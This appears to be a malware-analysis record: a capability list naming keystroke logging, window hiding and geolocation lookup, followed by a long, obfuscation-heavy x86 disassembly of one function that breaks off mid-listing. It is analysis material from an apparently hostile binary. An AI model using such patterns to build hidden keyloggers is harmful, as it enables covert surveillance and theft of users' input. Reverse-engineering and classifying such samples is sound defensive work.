Function at 0x477cfc
Capabilities:
Accept command line arguments
Compare security identifiers
Get common file path
Get file attributes
Get geographical location
Get session user name
Hide graphical window
Log keystrokes via polling
Query environment variable
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x393c
call fcn.004a6a20
push esi
push edi
mov dword [ebp - 0x2134], 0x689bb5c
mov dword [ebp - 0x9ac], 0
jmp 0x477d2e
mov eax, dword [ebp - 0x9ac]
inc eax
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 2
jge 0x477d4a
mov eax, dword [ebp - 0x9ac]
mov dword [ebp + eax*4 - 0x5f4], 9
jmp 0x477d21
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5f4], 0
jmp 0x477d78
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5f4], 0xfffffff5
jg 0x478111
mov dword [ebp - 0x9c], 0x60f7e730
mov dword [ebp - 0x9fc], 0xffff
mov dword [ebp - 0x2154], 1
mov dword [ebp - 0x15c], 0
jmp 0x477dc3
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x477ddf
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x29f0], 4
jmp 0x477db6
mov dword [ebp - 0x15c], 0
jmp 0x477df8
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 4
jge 0x477e14
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x349c], 0x832cb818
jmp 0x477deb
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x3270], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5f4]
mov dword [ebp - 0x2374], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2374]
mov dword [ebp + eax - 0x29f0], ecx
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x3120], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5f4]
mov dword [ebp - 0x34f0], eax
mov eax, 0x8f1fe3d2
test eax, eax
je 0x477e77
mov eax, 0x6ed4bca9
test eax, eax
jne 0x477e90
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x29f0], 0
jne 0x477e90
and dword [ebp - 0x1fe0], 0
jmp 0x477e9a
mov dword [ebp - 0x1fe0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fe0]
sub ecx, dword [ebp + eax - 0x5f4]
cmp ecx, 0xa0e40209
jne 0x477ec1
mov dword [ebp - 0x2634], 1
jmp 0x477ec8
and dword [ebp - 0x2634], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x3128], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x338c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9c]
cmp dword [ebp + eax - 0x5f4], ecx
jne 0x477f01
mov dword [ebp - 0x20f4], 1
jmp 0x477f08
and dword [ebp - 0x20f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5f4]
cmp dword [ebp - 0x20f4], eax
je 0x477f29
mov dword [ebp - 0x20fc], 1
jmp 0x477f30
and dword [ebp - 0x20fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5f4]
add eax, dword [ebp - 0x20fc]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x5f4]
jne 0x477f5e
mov dword [ebp - 0x2104], 1
jmp 0x477f65
and dword [ebp - 0x2104], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x2104], eax
jge 0x477f7f
mov dword [ebp - 0x210c], 1
jmp 0x477f86
and dword [ebp - 0x210c], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x210c]
cmp eax, dword [ebp - 0x9c]
jge 0x477fa7
mov dword [ebp - 0x2114], 1
jmp 0x477fae
and dword [ebp - 0x2114], 0
imul eax, dword [ebp - 0x2114], 0xcf6a
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x349c]
je 0x477fd2
mov dword [ebp - 0x211c], 1
jmp 0x477fd9
and dword [ebp - 0x211c], 0
mov eax, dword [ebp - 0x211c]
neg eax
mov dword [ebp - 0x2124], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2124]
mov dword [ebp + eax - 0x349c], ecx
cmp dword [ebp - 0x2124], 0
je 0x47802a
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x349c], 0
je 0x47802a
mov eax, 0x3337672a
test eax, eax
je 0x47802a
xor eax, eax
je 0x47802a
mov dword [ebp - 0x263c], 1
jmp 0x478031
and dword [ebp - 0x263c], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x3130], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x3454], eax
mov dword [ebp - 0x9c], 0xe588
cmp dword [ebp - 0x9c], 0
je 0x478071
cmp dword [ebp - 0x9fc], 0
je 0x478071
mov dword [ebp - 0x212c], 1
jmp 0x478078
and dword [ebp - 0x212c], 0
mov eax, dword [ebp - 0x212c]
mov dword [ebp - 0x2134], eax
cmp dword [ebp - 0x2134], 0
jne 0x47809f
cmp dword [ebp - 0x9fc], 0
jne 0x47809f
and dword [ebp - 0x213c], 0
jmp 0x4780a9
mov dword [ebp - 0x213c], 1
cmp dword [ebp - 0x213c], 0
ja 0x4780be
mov dword [ebp - 0x2144], 1
jmp 0x4780c5
and dword [ebp - 0x2144], 0
mov eax, dword [ebp - 0x9fc]
imul eax, dword [ebp - 0x2144]
test eax, eax
je 0x4780eb
cmp dword [ebp - 0x9c], 0
je 0x4780eb
mov dword [ebp - 0x214c], 1
jmp 0x4780f2
and dword [ebp - 0x214c], 0
mov eax, dword [ebp - 0x214c]
mov dword [ebp - 0x2154], eax
cmp dword [ebp - 0x2154], 0
je 0x47810c
jmp 0x477d5d
jmp 0x477d5d
mov dword [ebp - 0x378], 1
mov dword [ebp - 0x420], 0xa3cfce29
mov dword [ebp - 0xbe8], 1
mov dword [ebp - 0x294], 0
jmp 0x478148
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x478164
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0x9f0], 0xcdbe8e56
jmp 0x47813b
mov dword [ebp - 0x294], 0
jmp 0x47817d
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 4
jge 0x478199
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0x2a48], 0xb5486b6f
jmp 0x478170
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9f0]
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0
jne 0x4781d0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9f0]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x9f0]
mov eax, 0xfdeb
neg eax
cmp eax, 9
jne 0x4781e8
mov dword [ebp - 0x215c], 1
jmp 0x4781ef
and dword [ebp - 0x215c], 0
mov eax, dword [ebp - 0x215c]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jb 0x478210
mov dword [ebp - 0x2164], 1
jmp 0x478217
and dword [ebp - 0x2164], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9f0]
add eax, dword [ebp - 0x2164]
je 0x47823d
xor eax, eax
inc eax
je 0x47823d
mov dword [ebp - 0x216c], 1
jmp 0x478244
and dword [ebp - 0x216c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9f0]
imul eax, dword [ebp - 0x216c]
mov dword [ebp - 0x2174], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2174]
mov dword [ebp + eax - 0x2a48], ecx
cmp dword [ebp - 0x2174], 0
je 0x478391
mov dword [ebp - 0x2644], 0xb611fb8e
mov dword [ebp - 0x264c], 5
mov dword [ebp - 0x9b4], 0
jmp 0x4782ab
mov eax, dword [ebp - 0x9b4]
inc eax
mov dword [ebp - 0x9b4], eax
cmp dword [ebp - 0x9b4], 1
jge 0x4782c7
mov eax, dword [ebp - 0x9b4]
mov dword [ebp + eax*4 - 0x217c], 0x48a2
jmp 0x47829e
mov dword [ebp - 0x378], 0
jmp 0x4782e0
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 3
jg 0x4782fd
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9f0], 0
je 0x4782fb
jmp 0x4782fd
jmp 0x4782d3
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2a48]
cmp dword [ebp + eax - 0x9f0], ecx
jl 0x478376
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x217c]
mov dword [ebp - 0x2644], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x217c]
cmp dword [ebp + eax - 0x2a48], ecx
jg 0x478354
mov dword [ebp - 0x2184], 1
jmp 0x47835b
and dword [ebp - 0x2184], 0
cmp dword [ebp - 0x2184], 0
jne 0x478376
mov eax, 0xb88cdf8a
test eax, eax
jne 0x478376
and dword [ebp - 0x2210], 0
jmp 0x478380
mov dword [ebp - 0x2210], 1
mov eax, dword [ebp - 0x2210]
mov dword [ebp - 0x264c], eax
jmp 0x47860d
mov dword [ebp - 0x2654], 0x16309070
mov dword [ebp - 0x265c], 0x4826422f
mov dword [ebp - 0x4f4], 0xfffffffb
mov dword [ebp - 0xbe0], 0xfffffff7
mov dword [ebp - 0x9bc], 0
jmp 0x4783d2
mov eax, dword [ebp - 0x9bc]
inc eax
mov dword [ebp - 0x9bc], eax
cmp dword [ebp - 0x9bc], 3
jge 0x4783ee
mov eax, dword [ebp - 0x9bc]
mov dword [ebp + eax*4 - 0x2af0], 6
jmp 0x4783c5
cmp dword [ebp - 0x2654], 0xfff7
jbe 0x478406
mov dword [ebp - 0x2230], 1
jmp 0x47840d
and dword [ebp - 0x2230], 0
mov eax, dword [ebp - 0xbe0]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
imul eax, dword [ebp - 0x4f4]
mov ecx, dword [ebp - 0xbe0]
inc ecx
mov dword [ebp - 0xbe0], ecx
test eax, eax
je 0x478451
mov eax, dword [ebp - 0xbe8]
cmp dword [ebp - 0x420], eax
jne 0x478451
mov dword [ebp - 0x2218], 1
jmp 0x478458
and dword [ebp - 0x2218], 0
imul eax, dword [ebp - 0x2218], 0xc63
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2af0]
jg 0x47847d
mov dword [ebp - 0x2220], 1
jmp 0x478484
and dword [ebp - 0x2220], 0
mov eax, dword [ebp - 0xbe8]
cmp dword [ebp - 0x2220], eax
jne 0x4784a4
cmp dword [ebp - 0x378], 0
jne 0x4784a4
and dword [ebp - 0xbf0], 0
jmp 0x4784ae
mov dword [ebp - 0xbf0], 1
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp + eax - 0x2a48], ecx
mov eax, dword [ebp - 0xbe8]
cmp dword [ebp - 0xbf0], eax
jg 0x4784db
mov dword [ebp - 0x2228], 1
jmp 0x4784e2
and dword [ebp - 0x2228], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9f0]
add eax, dword [ebp - 0x2228]
cmp eax, 0x5996
jl 0x478508
mov dword [ebp - 0x2238], 1
jmp 0x47850f
and dword [ebp - 0x2238], 0
mov eax, dword [ebp - 0x2230]
cmp eax, dword [ebp - 0x2238]
jge 0x478529
mov dword [ebp - 0x2240], 1
jmp 0x478530
and dword [ebp - 0x2240], 0
cmp dword [ebp - 0x2240], 0xb42d
jne 0x478548
mov dword [ebp - 0x2248], 1
jmp 0x47854f
and dword [ebp - 0x2248], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2248]
mov dword [ebp + eax - 0x2af0], ecx
mov dword [ebp - 0x4f4], 2
jmp 0x47857b
mov eax, dword [ebp - 0x4f4]
dec eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 0
jl 0x47860d
mov dword [ebp - 0xbf8], 0xfffd
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2a48], 0xfffffff8
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x4785cd
mov eax, dword [ebp - 0xbf8]
mov ecx, dword [ebp - 0xbf8]
inc ecx
mov dword [ebp - 0xbf8], ecx
test eax, eax
je 0x4785cd
mov dword [ebp - 0x2250], 1
jmp 0x4785d4
and dword [ebp - 0x2250], 0
mov eax, dword [ebp - 0x4f4]
mov eax, dword [ebp + eax*4 - 0x2af0]
cmp eax, dword [ebp - 0x2250]
jne 0x4785f5
mov dword [ebp - 0x2258], 1
jmp 0x4785fc
and dword [ebp - 0x2258], 0
mov eax, dword [ebp - 0x2258]
mov dword [ebp - 0x265c], eax
jmp 0x47856e
mov dword [ebp - 0x420], 7
mov dword [ebp - 0xac], 0xfffffffc
mov dword [ebp - 0xc08], 0xfffffff9
mov dword [ebp - 0xd74], 0xffff
mov dword [ebp - 0x164], 0
jmp 0x47864e
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 1
jge 0x47866a
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0xd7c], 0xbdae4f9d
jmp 0x478641
mov dword [ebp - 0x164], 0
jmp 0x478683
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 1
jge 0x47869f
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x2664], 0xfffffff8
jmp 0x478676
mov dword [ebp - 0xac], 0xffffffe8
jmp 0x4786b8
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 6
jge 0x47877e
mov dword [ebp - 0xc00], 0x452a26f3
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0xac], eax
jl 0x47873b
mov eax, dword [ebp - 0xc00]
imul eax, dword [ebp - 0xc00]
cmp eax, 0x4c03
jne 0x4786fd
mov dword [ebp - 0x2260], 1
jmp 0x478704
and dword [ebp - 0x2260], 0
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x2260]
jge 0x47871e
mov dword [ebp - 0x2268], 1
jmp 0x478725
and dword [ebp - 0x2268], 0
mov eax, 0x85c9e53
sub eax, dword [ebp - 0x2268]
jne 0x47873b
and dword [ebp - 0x2270], 0
jmp 0x478745
mov dword [ebp - 0x2270], 1
mov eax, dword [ebp - 0xc00]
cmp dword [ebp - 0x2270], eax
je 0x47875f
mov dword [ebp - 0x2278], 1
jmp 0x478766
and dword [ebp - 0x2278], 0
mov eax, dword [ebp - 0xac]
imul eax, dword [ebp - 0x2278]
mov dword [ebp - 0xc08], eax
jmp 0x4786ab
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0xac], eax
jne 0x4787a1
cmp dword [ebp - 0xd74], 0x29c8ddac
jge 0x4787a1
and dword [ebp - 0x1c64], 0
jmp 0x4787ab
mov dword [ebp - 0x1c64], 1
mov eax, dword [ebp - 0x1c64]
mov dword [ebp - 0xc08], eax
mov eax, dword [ebp - 0xc08]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1c6c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c6c]
mov dword [ebp + eax - 0xd7c], ecx
mov eax, dword [ebp - 0xd74]
add eax, dword [ebp - 0x1c6c]
je 0x47880c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd7c], 0
je 0x47880c
mov dword [ebp - 0x1c74], 1
jmp 0x478813
and dword [ebp - 0x1c74], 0
cmp dword [ebp - 0x1c74], 0x284868fd
jne 0x47882b
mov dword [ebp - 0xd84], 1
jmp 0x478832
and dword [ebp - 0xd84], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd84]
mov dword [ebp + eax - 0x2664], ecx
mov dword [ebp - 0x9cc], 8
mov dword [ebp - 0x9c4], 0
jmp 0x478868
mov eax, dword [ebp - 0x9c4]
inc eax
mov dword [ebp - 0x9c4], eax
cmp dword [ebp - 0x9c4], 2
jge 0x478884
mov eax, dword [ebp - 0x9c4]
mov dword [ebp + eax*4 - 0x2e20], 0x7862
jmp 0x47885b
mov dword [ebp - 0x9cc], 0
jmp 0x47889d
mov eax, dword [ebp - 0x9cc]
inc eax
mov dword [ebp - 0x9cc], eax
cmp dword [ebp - 0x9cc], 1
jg 0x478910
mov dword [ebp - 0x5e8], 0xffffffff
mov byte [ebp - 0x337], 0
movzx eax, byte [ebp - 0x337]
test eax, eax
je 0x4788d8
push 0
push 0
push 0x2515
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov dword [ebp - 0x5e8], 0
jmp 0x4788f1
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 1
jg 0x47890e
mov eax, dword [ebp - 0x5e8]
cmp dword [ebp + eax*4 - 0x2e20], 0
je 0x47890c
jmp 0x47890e
jmp 0x4788e4
jmp 0x478890
mov dword [ebp - 0x1e34], 0x689bb5c
mov dword [ebp - 0x9d4], 0xfffffff7
mov dword [ebp - 0xdcc], 0x41a9c213
mov dword [ebp - 0xdd4], 0xcbeb969
mov dword [ebp - 0x2674], 0x4e7f13bc
mov dword [ebp - 0x267c], 0x489be67e
mov dword [ebp - 0x3138], 0xfffffff7
mov dword [ebp - 0x3394], 0x92891f43
mov dword [ebp - 0x268c], 0x90200244
mov dword [ebp - 0x3140], 0x6037280d
mov dword [ebp - 0xc18], 0
mov dword [ebp - 0xc50], 0
mov dword [ebp - 0x48], 0
jmp 0x478998
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x4789ae
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2a00], 0
jmp 0x478991
mov dword [ebp - 0x48], 0
jmp 0x4789be
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x4789d4
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2a10], 0xd28b
jmp 0x4789b7
mov dword [ebp - 0x48], 0
jmp 0x4789e4
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jge 0x4789fa
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x38ec], 0x1d4f00d1
jmp 0x4789dd
mov dword [ebp - 0x9d4], 0
jmp 0x478a13
mov eax, dword [ebp - 0x9d4]
inc eax
mov dword [ebp - 0x9d4], eax
cmp dword [ebp - 0x9d4], 0xe
jne 0x478ebe
mov dword [ebp - 0x380], 0xba772304
mov dword [ebp - 0x8fc], 0x9f2e0723
mov dword [ebp - 0xd8c], 0x36572186
mov dword [ebp - 0x9dc], 0
jmp 0x478a57
mov eax, dword [ebp - 0x9dc]
inc eax
mov dword [ebp - 0x9dc], eax
cmp dword [ebp - 0x9dc], 2
jge 0x478a73
mov eax, dword [ebp - 0x9dc]
mov dword [ebp + eax*4 - 0x2e2c], 0x83de7690
jmp 0x478a4a
mov dword [ebp - 0x380], 1
jmp 0x478a8c
mov eax, dword [ebp - 0x380]
dec eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0
jl 0x478e7f
mov dword [ebp - 0x5e0], 0xfffffff9
mov dword [ebp - 0x2684], 0xd7ad251a
mov dword [ebp - 0x868], 0
jmp 0x478ac6
mov eax, dword [ebp - 0x868]
inc eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 1
jge 0x478ae2
mov eax, dword [ebp - 0x868]
mov dword [ebp + eax*4 - 0xc20], 0xffffffff
jmp 0x478ab9
mov dword [ebp - 0x5e0], 0
jmp 0x478afb
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 1
jg 0x478e7a
mov dword [ebp - 0x4c0], 0
mov dword [ebp - 0x358c], 0xac8e4c12
mov dword [ebp - 0xc10], 0
mov dword [ebp - 0x638], 0
jmp 0x478b3f
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 3
jge 0x478b5b
mov eax, dword [ebp - 0x638]
mov dword [ebp + eax*4 - 0x2afc], 1
jmp 0x478b32
mov dword [ebp - 0x4c0], 0
jmp 0x478b74
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 1
jg 0x478bc0
mov eax, dword [ebp - 0x380]
mov eax, dword [ebp + eax*4 - 0x2a00]
mov ecx, dword [ebp - 0x4c0]
sub eax, dword [ebp + ecx*4 - 0x2a00]
cmp eax, dword [ebp - 0xdcc]
jle 0x478bab
mov dword [ebp - 0x1c7c], 1
jmp 0x478bb2
and dword [ebp - 0x1c7c], 0
mov eax, dword [ebp - 0x1c7c]
mov dword [ebp - 0xdd4], eax
jmp 0x478b67
mov eax, dword [ebp - 0xc10]
mov dword [ebp - 0x266c], eax
mov eax, dword [ebp - 0xc10]
inc eax
mov dword [ebp - 0xc10], eax
cmp dword [ebp - 0x266c], 0xffffffff
je 0x478bee
mov dword [ebp - 0x1c84], 1
jmp 0x478bf5
and dword [ebp - 0x1c84], 0
mov eax, dword [ebp - 0x2674]
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0xd8c]
cmp dword [ebp - 0x1c84], eax
jl 0x478c1b
mov dword [ebp - 0xd9c], 1
jmp 0x478c22
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0x267c]
mov dword [ebp - 0x4c0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a10]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0
je 0x478c5f
cmp dword [ebp - 0xc18], 0
je 0x478c5f
mov dword [ebp - 0xd94], 1
jmp 0x478c66
and dword [ebp - 0xd94], 0
cmp dword [ebp - 0xd94], 0x392f
jne 0x478c7e
mov dword [ebp - 0x1c8c], 1
jmp 0x478c85
and dword [ebp - 0x1c8c], 0
cmp dword [ebp - 0x1c8c], 0xf81a770a
jae 0x478c9d
mov dword [ebp - 0x1c94], 1
jmp 0x478ca4
and dword [ebp - 0x1c94], 0
mov eax, dword [ebp - 0xd9c]
neg eax
cmp eax, dword [ebp - 0x1c94]
jge 0x478cc0
mov dword [ebp - 0xda4], 1
jmp 0x478cc7
and dword [ebp - 0xda4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc20]
cmp dword [ebp - 0xda4], eax
jle 0x478ce8
mov dword [ebp - 0x1c9c], 1
jmp 0x478cef
and dword [ebp - 0x1c9c], 0
mov eax, dword [ebp - 0xc18]
cmp dword [ebp - 0x1c9c], eax
jl 0x478d19
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2afc], 0
je 0x478d19
mov dword [ebp - 0xdac], 1
jmp 0x478d20
and dword [ebp - 0xdac], 0
mov eax, dword [ebp - 0x5e0]
cmp dword [ebp - 0xdac], eax
je 0x478d3a
mov dword [ebp - 0x1ca4], 1
jmp 0x478d41
and dword [ebp - 0x1ca4], 0
cmp dword [ebp - 0x1ca4], 0xffffffff
jle 0x478d56
mov dword [ebp - 0xdb4], 1
jmp 0x478d5d
and dword [ebp - 0xdb4], 0
mov eax, dword [ebp - 0x380]
imul eax, dword [ebp - 0xdb4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xc20]
je 0x478d85
mov dword [ebp - 0x1cac], 1
jmp 0x478d8c
and dword [ebp - 0x1cac], 0
mov eax, dword [ebp - 0xc18]
imul eax, dword [ebp - 0x1cac]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xc20]
jle 0x478db4
mov dword [ebp - 0xdbc], 1
jmp 0x478dbb
and dword [ebp - 0xdbc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e2c]
cmp dword [ebp - 0xdbc], eax
je 0x478ddc
mov dword [ebp - 0x1cb4], 1
jmp 0x478de3
and dword [ebp - 0x1cb4], 0
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x1cb4], eax
jge 0x478dfd
mov dword [ebp - 0xdc4], 1
jmp 0x478e04
and dword [ebp - 0xdc4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2afc]
cmp dword [ebp - 0xdc4], eax
jne 0x478e1e
or eax, 0xffffffff
je 0x478e33
cmp dword [ebp - 0x8fc], 0
je 0x478e33
mov dword [ebp - 0x1cbc], 1
jmp 0x478e3a
and dword [ebp - 0x1cbc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2afc]
cmp dword [ebp - 0x1cbc], eax
jle 0x478e5d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a10], 0
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0x3148], eax
mov eax, dword [ebp - 0x2684]
mov dword [ebp - 0x268c], eax
jmp 0x478aee
jmp 0x478a7f
mov eax, dword [ebp - 0xc50]
inc eax
mov dword [ebp - 0xc50], eax
mov eax, dword [ebp - 0x8fc]
cmp dword [ebp - 0xc50], eax
jne 0x478ea6
mov dword [ebp - 0x1cc4], 1
jmp 0x478ead
and dword [ebp - 0x1cc4], 0
mov eax, dword [ebp - 0x1cc4]
mov dword [ebp - 0xdd4], eax
jmp 0x478a06
mov dword [ebp - 0x640], 0
jmp 0x478ed7
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 2
jge 0x478ef3
mov eax, dword [ebp - 0x640]
mov dword [ebp + eax*4 - 0x600], 9
jmp 0x478eca
mov dword [ebp - 0x2694], 0xffffffff
mov dword [ebp - 0xdec], 0x33992443
mov dword [ebp - 0x269c], 0x5043c4ab
mov dword [ebp - 0xddc], 0xb39e
mov dword [ebp - 0x26a4], 0xdfe924f6
mov dword [ebp - 0x88], 0
jmp 0x478f3e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x478f5a
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x230c], 0xfffffffe
jmp 0x478f31
mov dword [ebp - 0x88], 0
jmp 0x478f73
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x478f8f
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x318c], 1
jmp 0x478f66
mov dword [ebp - 0x88], 0
jmp 0x478fa8
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x478fc4
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x34b0], 0x39e
jmp 0x478f9b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x318c]
cmp dword [ebp - 0x2694], eax
jle 0x478fe5
mov dword [ebp - 0x1ccc], 1
jmp 0x478fec
and dword [ebp - 0x1ccc], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x230c], 0x80f8
jne 0x47900f
xor eax, eax
je 0x47900f
mov dword [ebp - 0x1cd4], 1
jmp 0x479016
and dword [ebp - 0x1cd4], 0
mov eax, dword [ebp - 0x1ccc]
mov dword [ebp - 0xddc], eax
mov eax, dword [ebp - 0xddc]
sub eax, dword [ebp - 0x1cd4]
mov dword [ebp - 0xde4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xde4]
mov dword [ebp + eax - 0x318c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x230c]
sub eax, dword [ebp - 0xdec]
cmp eax, dword [ebp - 0xde4]
jl 0x47906d
mov dword [ebp - 0x1cdc], 1
jmp 0x479074
and dword [ebp - 0x1cdc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1cdc]
mov dword [ebp + eax - 0x230c], ecx
mov eax, dword [ebp - 0xdec]
mov dword [ebp - 0x339c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34b0]
dec eax
mov dword [ebp - 0x1ce4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ce4]
mov dword [ebp + eax - 0x34b0], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x230c]
imul eax, dword [ebp - 0x269c]
cmp dword [ebp - 0x1ce4], eax
jle 0x4790ef
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x34b0], 0
jne 0x4790ef
and dword [ebp - 0xdf4], 0
jmp 0x4790f9
mov dword [ebp - 0xdf4], 1
